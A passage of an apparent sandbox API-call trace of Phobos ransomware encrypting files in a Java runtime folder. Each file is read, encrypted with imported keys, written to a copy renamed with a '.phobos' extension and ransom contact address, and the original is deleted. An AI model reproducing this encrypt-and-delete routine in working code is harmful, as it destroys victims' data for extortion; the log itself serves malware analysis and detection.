lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xf2, lpOverlapped=0x0) returned 1 [0182.551] CryptDestroyKey (hKey=0x1d1ad0) returned 1 [0182.551] CloseHandle (hObject=0x2cc) returned 1 [0182.551] CloseHandle (hObject=0x2e4) returned 1 [0182.551] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe")) returned 1 [0182.552] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0182.552] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0182.553] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=16448) returned 1 [0182.553] CloseHandle (hObject=0x2e4) returned 1 [0182.553] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe")) returned 0x20 [0182.553] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0182.553] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0182.553] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0182.553] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0182.553] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0182.554] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d1b10) returned 1 [0182.554] CryptSetKeyParam (hKey=0x1d1b10, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0182.554] ReadFile (in: hFile=0x2e4, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x4040, lpOverlapped=0x0) returned 1 [0182.562] CryptEncrypt (in: hKey=0x1d1b10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x4050, dwBufLen=0x4050 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x4050) returned 1 [0182.562] WriteFile (in: hFile=0x2cc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x4050, lpOverlapped=0x0) returned 1 [0182.563] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d1910) returned 1 [0182.563] CryptSetKeyParam (hKey=0x1d1910, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0182.563] CryptEncrypt (in: hKey=0x1d1910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40, dwBufLen=0x40 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40) returned 1 [0182.563] CryptDestroyKey (hKey=0x1d1910) returned 1 [0182.563] WriteFile (in: hFile=0x2cc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xf2, lpOverlapped=0x0) returned 1 [0182.563] CryptDestroyKey (hKey=0x1d1b10) returned 1 [0182.564] CloseHandle (hObject=0x2e4) returned 1 [0182.564] CloseHandle (hObject=0x2cc) returned 1 [0182.564] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe")) returned 1 [0182.565] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0182.565] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0182.565] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=233536) returned 1 [0182.565] CloseHandle (hObject=0x2cc) returned 1 [0182.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll")) returned 0x20 [0182.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0182.566] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0182.566] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0182.566] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0182.566] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0182.566] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d1610) returned 1 [0182.566] CryptSetKeyParam (hKey=0x1d1610, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0182.566] ReadFile (in: hFile=0x2cc, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x39040, lpOverlapped=0x0) returned 1 [0182.635] CryptEncrypt (in: hKey=0x1d1610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x39050, dwBufLen=0x39050 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x39050) returned 1 [0182.635] WriteFile (in: hFile=0x2e4, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x39050, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x39050, lpOverlapped=0x0) returned 1 [0182.639] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d1450) returned 1 [0182.639] CryptSetKeyParam (hKey=0x1d1450, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0182.639] CryptEncrypt (in: hKey=0x1d1450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40, dwBufLen=0x40 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40) returned 1 [0182.639] CryptDestroyKey (hKey=0x1d1450) returned 1 [0182.639] WriteFile (in: hFile=0x2e4, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xf2, lpOverlapped=0x0) returned 1 [0182.639] CryptDestroyKey (hKey=0x1d1610) returned 1 [0182.639] CloseHandle (hObject=0x2cc) returned 1 [0182.639] CloseHandle (hObject=0x2e4) returned 1 [0182.639] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll")) returned 1 [0182.642] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0182.642] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0182.643] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=660128) returned 1 [0182.643] CloseHandle (hObject=0x2e4) returned 1 [0182.643] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll")) returned 0x20 [0182.643] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0182.643] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0182.643] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0182.643] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0182.643] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0182.644] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d1510) returned 1 [0182.644] CryptSetKeyParam (hKey=0x1d1510, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0182.644] ReadFile (in: hFile=0x2e4, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0xa12a0, lpOverlapped=0x0) returned 1 [0182.707] CryptEncrypt (in: hKey=0x1d1510, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0xa12b0, dwBufLen=0xa12b0 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0xa12b0) returned 1 [0182.708] WriteFile (in: hFile=0x2cc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xa12b0, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xa12b0, lpOverlapped=0x0) returned 1 [0182.718] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d17d0) returned 1 [0182.718] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0182.718] CryptEncrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40, dwBufLen=0x40 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40) returned 1 [0182.718] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0182.718] WriteFile (in: hFile=0x2cc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xf2, lpOverlapped=0x0) returned 1 [0182.718] CryptDestroyKey (hKey=0x1d1510) returned 1 [0182.718] CloseHandle (hObject=0x2e4) returned 1 [0182.718] CloseHandle (hObject=0x2cc) returned 1 [0182.718] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll")) returned 1 [0182.724] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0182.724] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0182.725] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=829264) returned 1 [0182.725] CloseHandle (hObject=0x2cc) returned 1 [0182.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll")) returned 0x20 [0182.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0182.725] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0182.725] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0182.725] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0182.725] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0182.726] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d18d0) returned 1 [0182.726] CryptSetKeyParam (hKey=0x1d18d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0182.726] ReadFile (in: hFile=0x2cc, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0xca750, lpOverlapped=0x0) returned 1 [0182.782] CryptEncrypt (in: hKey=0x1d18d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0xca760, dwBufLen=0xca760 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0xca760) returned 1 [0182.783] WriteFile (in: hFile=0x2e4, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xca760, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xca760, lpOverlapped=0x0) returned 1 [0182.797] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d1a50) returned 1 [0182.797] CryptSetKeyParam (hKey=0x1d1a50, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0182.797] CryptEncrypt (in: hKey=0x1d1a50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40, dwBufLen=0x40 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40) returned 1 [0182.797] CryptDestroyKey (hKey=0x1d1a50) returned 1 [0182.797] WriteFile (in: hFile=0x2e4, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xf2, lpOverlapped=0x0) returned 1 [0182.797] CryptDestroyKey (hKey=0x1d18d0) returned 1 [0182.797] CloseHandle (hObject=0x2cc) returned 1 [0182.797] CloseHandle (hObject=0x2e4) returned 1 [0182.797] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll")) returned 1 [0182.805] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0182.805] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0182.805] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=96832) returned 1 [0182.805] CloseHandle (hObject=0x2e4) returned 1 [0182.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll")) returned 0x20 [0182.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0182.806] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0182.806] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0182.806] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0182.806] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0182.806] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d1b10) returned 1 [0182.806] CryptSetKeyParam (hKey=0x1d1b10, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0182.806] ReadFile (in: hFile=0x2e4, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x17a40, lpOverlapped=0x0) returned 1 [0182.959] CryptEncrypt (in: hKey=0x1d1b10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x17a50, dwBufLen=0x17a50 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x17a50) returned 1 [0182.959] WriteFile (in: hFile=0x2cc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x17a50, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x17a50, lpOverlapped=0x0) returned 1 [0182.961] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d17d0) returned 1 [0182.961] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0182.961] CryptEncrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x30, dwBufLen=0x30 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x30) returned 1 [0182.961] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0182.961] WriteFile (in: hFile=0x2cc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xe2, lpOverlapped=0x0) returned 1 [0182.961] CryptDestroyKey (hKey=0x1d1b10) returned 1 [0182.961] CloseHandle (hObject=0x2e4) returned 1 [0182.961] CloseHandle (hObject=0x2cc) returned 1 [0182.961] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll")) returned 1 [0182.963] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0182.963] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0182.964] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=16448) returned 1 [0182.964] CloseHandle (hObject=0x2cc) returned 1 [0182.964] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe")) returned 0x20 [0182.964] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0182.964] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0182.964] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0182.965] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0182.965] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0182.965] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d17d0) returned 1 [0182.965] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0182.965] ReadFile (hFile=0x2cc, 